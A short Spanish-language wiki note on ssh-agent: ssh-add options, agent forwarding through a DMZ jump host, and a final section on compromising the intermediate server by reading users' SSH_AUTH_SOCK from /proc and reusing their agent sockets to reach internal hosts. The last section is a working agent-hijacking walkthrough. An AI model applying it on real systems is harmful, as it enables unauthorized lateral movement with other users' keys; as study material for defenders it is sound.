= agente SSH (ssh-agent) == opciones * ssh-add : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar) * ''-t <>'' : duración de la identidad en el agente (por defecto, segundos) * s | S seconds, m | M minutes, h | H hours, d | D days, w | W weeks * ssh-add -K : añade permanentemente la clave para su uso * ssh-add -L : lista las claves públicas de las claves existentes * ssh-add -l : lista las claves * ssh-add -d : elimina la clave * ''-D'' : elimina todas las claves * ssh-add -x : bloquea agente * ''-X'' : desbloquea agente == ssh-agent (port forwarding) * [[https://deephacking.tech/ssh-agent-hijacking-linux/]] * {{:linux:ssh:pasted:20250527-054104.png?700}} * Host dmz HostName dmz User alice ForwardAgent yes * Acceso ordenador DMZ (intermedio):ssh dmz # ssh -i ~/.ssh/clave_privada -A user@host * Host internalserver HostName 192.168.10.30 User alice ProxyJump dmz ForwardAgent yes * Acceso ordenador interno a través del intermedio:ssh internalServer * Si **ForwardAgent** està deshabilitado no se puede. * verificar * == comprometer el servidor intermedio * entrar como root * mirar usuarios del sistema * mirar si tienen procesos SSH abiertos:pstree -p | grep ssh * mirar variables del entorno del usuario:cat /proc//environ | tr '\0' '\n' | grep SSH_AUTH_SOCK * mirar a quien corresponde el socket (root): SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l * mirar ordenadores remotos del usuario: cat /home//.ssh/known_hosts * probar la conexión con esos servidores:SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver